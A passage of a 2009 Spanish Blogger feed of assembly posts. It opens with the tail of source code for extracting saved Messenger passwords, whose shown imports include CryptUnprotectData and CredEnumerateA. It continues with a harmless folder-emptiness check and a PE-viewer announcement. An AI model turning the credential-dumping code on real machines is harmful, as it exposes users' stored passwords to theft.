bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;count&lt;br /&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;  section &lt;span style="color: rgb(127, 0, 127);"&gt;'.idata'&lt;/span&gt; import &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt; readable writeable&lt;br /&gt;  library kernel32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'kernel32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;crypt32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"crypt32.dll"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;user32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'user32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;advapi32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'advapi32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;msvcrt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'msvcrt.dll'&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/kernel32.inc'&lt;/span&gt;&lt;br /&gt; import crypt32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;CryptUnprotectData&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"CryptUnprotectData"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;import advapi32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;\&lt;br /&gt;CredEnumerate&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'CredEnumerateA'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/user32.inc'&lt;/span&gt;&lt;br /&gt;import msvcrt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"printf"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"system"&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-2761449462195894812?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/2761449462195894812/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=2761449462195894812&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/2761449462195894812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/2761449462195894812'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/04/srcsacar-claves-guardadas-de-el.html' title='[SRC]Sacar claves guardadas de el messenger(provado con messenger 9)'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-334341364748664603</id><published>2009-04-22T22:08:00.000-07:00</published><updated>2009-04-24T11:27:22.195-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>Saber si una carpeta o unidad esta vacia.</title><content type='html'>&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br /&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; CapetaVaciaOUnidad&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"F:"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = TRUE&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"La carpeta esta vacia"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"La carpeta no esta vacia"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; CapetaVaciaOUnidad&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;ruta&lt;br /&gt;locals&lt;br /&gt;Find  WIN32_FIND_DATA    ?&lt;br /&gt;HandleBusqueda &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;Ruta &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;endl&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GlobalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;GPTR&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Concat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\*"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; FindFirstFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Find&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HandleBusqueda&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; FindNextFile &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Find&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcpy&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Find&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;cFileName&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;word&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(127, 0, 127);"&gt;".."&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; FindNextFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HandleBusqueda&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Find&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcpy&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Find&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;cFileName&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;word&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(127, 0, 127);"&gt;".."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GlobalFree&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;TRUE&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(127, 0, 127);"&gt;"RECY"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(127, 0, 127);"&gt;"CLER"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GlobalFree&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;TRUE&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GlobalFree&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Ruta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;FALSE&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Concat &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;uses&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; @AdrSrc1&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; @AdrSrc2&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; @AdrDest&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;@AdrSrc1&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;@AdrDest&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src1&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src1&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;@AdrSrc2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src2&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;concat_src2&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-334341364748664603?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/334341364748664603/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=334341364748664603&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/334341364748664603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/334341364748664603'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/04/saber-si-una-carpeta-esta-vacia.html' title='Saber si una carpeta o unidad esta vacia.'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-17529329314592604</id><published>2009-04-21T23:00:00.000-07:00</published><updated>2009-04-21T23:03:06.312-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>Visor PE by YST</title><content type='html'>Se a actualizado el programa agregandole la caracteristica de listar el import data completo.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://hosting.deimagenes.com/imagenes/e397f36e5934301e0f0b46d00d721fbe.PNG" /&gt;&lt;br /&gt;&lt;a href="http://www.megashare.com/799468"&gt;Descargar&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-17529329314592604?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 